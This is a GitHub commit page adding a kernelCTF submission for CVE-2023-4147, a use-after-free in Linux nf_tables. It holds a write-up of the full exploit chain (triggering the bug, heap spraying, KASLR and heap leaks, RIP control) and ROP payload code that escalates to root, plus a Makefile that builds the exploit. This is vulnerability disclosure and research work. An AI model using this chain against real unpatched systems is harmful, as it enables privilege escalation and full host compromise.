Skip to content

Commit

Permalink
Add kernelCTF CVE-2023-4147_mitigation (#111)
Browse files Browse the repository at this point in the history
* Add kernelCTF CVE-2023-4147_mitigation

* update exploit.md

* update exploit.c and exploit.md
  • Loading branch information
kevinrich1337 authored Dec 27, 2024
1 parent 707d4a2 commit 12f5ea9
Show file tree
Hide file tree
Showing 10 changed files with 2,294 additions and 0 deletions.
189 changes: 189 additions & 0 deletions pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,189 @@
### Triggering Vulnerability

`nf_tables_newrule` disallows adding a new rule to the bound chain [1], but when adding a rule with `NFTA_RULE_CHAIN_ID` a rule is added to the bound chain [2].

```c
static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
const struct nlattr * const nla[])
{
...

table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask,
NETLINK_CB(skb).portid);
if (IS_ERR(table)) {
NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]);
return PTR_ERR(table);
}

if (nla[NFTA_RULE_CHAIN]) {
chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN],
genmask);
if (IS_ERR(chain)) {
NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]);
return PTR_ERR(chain);
}
if (nft_chain_is_bound(chain)) // [1]
return -EOPNOTSUPP;

} else if (nla[NFTA_RULE_CHAIN_ID]) {
chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID]); // [2]
if (IS_ERR(chain)) {
NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]);
return PTR_ERR(chain);
}
} else {
return -EINVAL;
}
```
We can trigger the vulnerability as follows:
- Create two chains, `Base` and `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`.
- Create an anonymous set `Victim`.
- Create a set element in set `Victim`.
- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`.
- Create a rule `R2` in `Vulnerable` with an `lookup expr` referencing the `Victim`.
- Delete the `R1`. This results in `Victim` being free from the destroy phase [3].
- Delete the set element in `Victim`. This results in a UAF that references `Victim` that was freed in previous step [4].
```c
static void nft_commit_release(struct nft_trans *trans)
{
switch (trans->msg_type) {
...
case NFT_MSG_DELSET:
nft_set_destroy(&trans->ctx, nft_trans_set(trans)); // [3]
break;
case NFT_MSG_DELSETELEM:
nf_tables_set_elem_destroy(&trans->ctx,
nft_trans_elem_set(trans), // [4]
nft_trans_elem(trans).priv);
break;
...
}
```

### Information Leak

The KASLR address and heap address are leaked through `nft_rule` allocated in `kmalloc-cg-192`. The leak process is as follows:

- Create four chains, `Base`, `Vulnerable`, `Chain_Victim`, and `Target`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`.
- Create chains `Chain_Victim2_n` for the victim rules created in the next step. In this exploit, 0x30 chains are sprayed.
- Create an anonymous rhash set `Set_Victim`.
- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`.

- Create rules `Rule_Victim2_n` in `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-192`.
- Create rules `Rule_Targret_n` in `Target` with an `counter expr`. The rules are allocated in `kmalloc-cg-192`. The kbase and heap address in the `Rule_Targret_n` are used for leak in following step. We can read the target rule allocated right after the `Rule_Victim2_n`.
- Create rules `Rule_Victim_n` in `Chain_Victim` with an `immediate expr` referencing the `Chain_Victim2_n`. The rules are allocated in `kmalloc-cg-256`.

- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`.
- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`. We can add the rule to bound chain `Vulnerable` because of the vulnerability.
- Delete the `R1`. When `R1` is destroyed, `nft_immediate_destroy` is called to destroy `R2`, the rule of `Vulnerable` that is bound to `R1`. This results in `Set_Victim` being free in `nft_lookup_destroy` from the destroy phase.
- Delete the set element in `Set_Victim`. This will reference the `Set_Victim` freed in the previous step in the `nf_tables_set_elem_destroy`, causing a UAF.

```c
static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
const struct nft_set *set, void *elem)
{
struct nft_set_ext *ext = nft_set_elem_ext(set, elem); // [5]

if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext)); // [6]

kfree(elem);
}
```
```c
static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set,
void *elem)
{
return elem + set->ops->elemsize; // [7]
}
```

- Spray rhash sets `Set_Spray_n`. When destroying an `nf_tables_set_elem_destroy` element, `nft_set_ext` is used [5], and `nft_set_ext` is retrieved by referencing `set->ops->elemsize` [7]. Thus, a rhash set with `elemsize` of 8 is overwritten by an rbtree set with `elemsize` of 24, causing the `nft_set_elem_expr_destroy` to reference the wrong `nft_set_ext`. We manipulate the offset to destroy the `immedieate expr` in `Rule_Victim_n`, that is allocated after the element, in [6]. This frees `Rule_Victim2_n` in `Chain_Victim2_n`. However, `Chain_Victim2_n` and `Rule_Victim2_n` remain accessible.
- Spray fake rules using `nft_table->udata` into freed `Rule_Victim2_n` (`kmalloc-cg-192`). Set `nft_rule->udata` of the fake rule to 1 and `nft_rule->udata->len` to 0xff.
- Get the fake rule will read 0xff bytes start from `nft_rule->udata`. As a result, we can obtain kbase (`nft_counter_ops`) and heap address (`nft_rule.list.next` and `nft_rule.list.prev`) of `Rule_Targret_n`.

### RIP Control

- Create two chains, `Base`, `Vulnerable`. Set `NFT_CHAIN_BINDING` flag for `Vulnerable`.
- Create an anonymous rbtree set `Set_Victim`.
- Create a set element in set `Set_Victim`. The element is allocated in `kmalloc-cg-256`.
- Spray fake exprs using `table->udata` in `kmalloc-cg-256`.
- Create a rule `R1` in `Base` with an `immediate expr` referencing the `Vulnerable`.
- Create a rule `R2` in `Vulnerable` with a `lookup expr` referencing the `Set_Victim`.
- Delete the `R1`. This results in `Set_Victim` being free from the destroy phase.
- Delete the set element in `Set_Victim`. This results in a UAF that references `Set_Victim` that was freed in previous step.
- Create rhash sets `Set_Spray_n`. As a result, the RIP is controlled by referencing the fake expr in the `nf_tables_expr_destroy` [8].

```c
static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
struct nft_expr *expr)
{
const struct nft_expr_type *type = expr->ops->type;

if (expr->ops->destroy)
expr->ops->destroy(ctx, expr); // [8]
module_put(type->owner);
}
```
### Post RIP
Since RIP control is performed by the destroy worker, we split the ROP into two phases. In the first ROP payload, we overwrite `counter_ops` with `fake ops` address.
```c
void make_payload(uint64_t* data){
int i = 0;
data[i++] = kbase + pop_rdi_ret;
data[i++] = kbase + counter_ops_addr_off;
data[i++] = kbase + pop_rsi_ret;
data[i++] = heap_addr+0x40; // fake ops
data[i++] = kbase + mov_ptr_rdi_rsi;
data[i++] = kbase + msleep_off;
data[i++] = 0;
data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret;
data[i++] = 0;
data[i++] = 0;
data[i++] = 8; // ops.size
data[i++] = kbase + push_rsi_jmp_rsi_f; // ops.init
}
```

Then, when creating `counter expr`, fake `ops->init` is called and the second ROP payload is executed to get the root shell.

```c
void make_payload2(uint64_t* data){
int i = 0;

// commit_creds(&init_cred)
data[i++] = kbase + pop_rdi_ret;
data[i++] = kbase + init_cred_off;
data[i++] = kbase + commit_creds_off;

// find_task_by_vpid(1)
data[i++] = kbase + pop_rdi_ret;
data[i++] = 1;
data[i++] = kbase + find_task_by_vpid_off;

// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
data[i++] = kbase + mov_rdi_rax_ret;
data[i++] = kbase + pop_rsi_ret;
data[i++] = kbase + init_nsproxy_off;
data[i++] = kbase + switch_task_namespaces_off;

data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off;
data[i++] = 0; // rax
data[i++] = 0; // rdx
data[i++] = _user_rip; // user_rip
data[i++] = _user_cs; // user_cs
data[i++] = _user_rflags; // user_rflags
data[i++] = _user_sp; // user_sp
data[i++] = _user_ss; // user_ss
}
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
- Requirements:
- Capabilites: CAP_NET_ADMIN
- Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y
- User namespaces required: Yes
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ebc1064e4874d5987722a2ddbc18f94aa53b211
- Affected Version: v5.9-rc1 - v6.5-rc3
- Affected Component: net/netfilter
- Syscall to disable: disallow unprivileged username space
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-4147
- Cause: Use-After-Free
- Description: A use-after-free flaw was found in the Linux kernel's Netfilter functionality when adding a rule with NFTA_RULE_CHAIN_ID. This flaw allows a local user to crash or escalate their privileges on the system.
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
LIBMNL_DIR = $(realpath ./)/libmnl_build
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build

LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl
INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include
CFLAGS = -static -s

exploit:
gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS)

prerequisites: libnftnl-build

libmnl-build : libmnl-download
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install`
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc`
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install

libnftnl-build : libmnl-build libnftnl-download
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz
cp rule.c $(LIBNFTNL_DIR)/libnftnl-1.2.5/src/
cp rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/
cp libnftnl_rule.h $(LIBNFTNL_DIR)/libnftnl-1.2.5/include/libnftnl/rule.h
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install`
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc`
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install

libmnl-download :
mkdir $(LIBMNL_DIR)
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2

libnftnl-download :
mkdir $(LIBNFTNL_DIR)
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz

run:
./exploit

clean:
rm -f exploit
rm -rf $(LIBMNL_DIR)
rm -rf $(LIBNFTNL_DIR)
Binary file not shown.
Loading

0 comments on commit 12f5ea9

Please sign in to comment.